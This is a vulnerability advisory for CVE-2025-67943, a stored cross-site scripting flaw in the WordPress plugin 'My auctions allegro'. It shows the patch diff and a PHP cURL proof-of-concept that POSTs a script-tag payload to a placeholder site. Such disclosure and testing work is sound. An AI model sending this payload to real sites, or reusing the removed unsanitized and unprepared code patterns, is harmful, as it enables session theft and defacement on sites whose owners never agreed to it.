CVE-2025-67943: My auctions allegro <= 3.6.32 – Unauthenticated Stored Cross-Site Scripting (my-auctions-allegro-free-edition)

--- a/my-auctions-allegro-free-edition/core/controller.php
+++ b/my-auctions-allegro-free-edition/core/controller.php
@@ -123,7 +123,7 @@
 		return $this->buttons;
 	}
 	public function getParam($param) {
-		return ! isset ( $_REQUEST [$param] ) ? null : esc_sql($_REQUEST [$param]);
+		return ! isset ( $_REQUEST [$param] ) ? null : sanitize_text_field(esc_sql($_REQUEST [$param]));
 	}
 	public function getParams() {
         $request = $_REQUEST;
--- a/my-auctions-allegro-free-edition/core/functions.php
+++ b/my-auctions-allegro-free-edition/core/functions.php
@@ -173,6 +173,10 @@
      */
     public static function getInstance($instance, $type = 'Model', $rec = false)
     {
+        if (strpos($instance, '-') !== false || strpos($instance, '.') !== false || strpos($instance, '/') !== false) {
+            return false;
+        }
+
         $className = call_user_func_array(self::$defaultClass . '::parseToClass', [$instance, $type]);
         $path      = call_user_func_array(self::$defaultClass . '::parseToFile', [$instance, $type]);

--- a/my-auctions-allegro-free-edition/my-auctions-allegro-free-edition.php
+++ b/my-auctions-allegro-free-edition/my-auctions-allegro-free-edition.php
@@ -2,7 +2,7 @@
 /*
  * Plugin Name: My auctions allegro
  * Plugin URI: https://wordpress.org/plugins/my-auctions-allegro-free-edition
- * Version: 3.6.32
+ * Version: 3.6.33
  * Description: Plug-in display auctions from popular polish auction website called allegro.pl, also from 1.7 version you can import basic information from auctions to WooCommerce
  * Author: WPHocus
  * Author URI: https://wphocus.com
--- a/my-auctions-allegro-free-edition/src/model/auctions.php
+++ b/my-auctions-allegro-free-edition/src/model/auctions.php
@@ -333,7 +333,7 @@
         $set    = $column . ' = ' . $column . ' + 1';
         $where  = sprintf('auction_id = %s AND auction_profile_id = %d', $auctionId, $profileId);

-        $this->getWpdb()->query(sprintf("UPDATE %s SET %s WHERE %s", $this->getTable(), $set, $where));
+        $this->getWpdb()->query($this->getWpdb()->prepare("UPDATE %s SET %s WHERE %s", $this->getTable(), $set, $where));
     }

     public function getMostPopularAuctions($count)

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-67943 - My auctions allegro <= 3.6.32 - Unauthenticated Stored Cross-Site Scripting
<?php
// Configure the target WordPress site URL
$target_url = 'http://target-site.com/';

// Identify a page or endpoint that uses the vulnerable plugin.
// The exact endpoint is plugin-dependent, but the attack vector is any parameter via GET or POST.
// This example targets a frontend shortcode page, using a POST request to simulate form interaction.
$exploit_url = $target_url . '?page_with_plugin_shortcode=1';

// Malicious payload to inject. This is a basic proof-of-concept alert.
$payload = '<script>alert("Atomic Edge XSS Test");</script>';

// Parameter name to attack. This must be a parameter the plugin's getParam method processes.
// The exact parameter name requires reconnaissance; 'id' or 'profile' are common examples.
$parameter = 'id';

// Initialize cURL session
$ch = curl_init();

// Set the target URL
curl_setopt($ch, CURLOPT_URL, $exploit_url);

// Use POST method and send the malicious payload in the specified parameter
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([$parameter => $payload]));

// Capture the response for analysis
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

// Execute the request
$response = curl_exec($ch);

// Check for errors
if (curl_errno($ch)) {
    echo 'cURL Error: ' . curl_error($ch);
} else {
    // A successful request indicates the payload was likely accepted.
    // Verification requires visiting the injected page and observing script execution.
    echo "Payload sent. Check the target page for script execution.n";
    echo "HTTP Code: " . curl_getinfo($ch, CURLINFO_HTTP_CODE) . "n";
}

// Close cURL session
curl_close($ch);
?>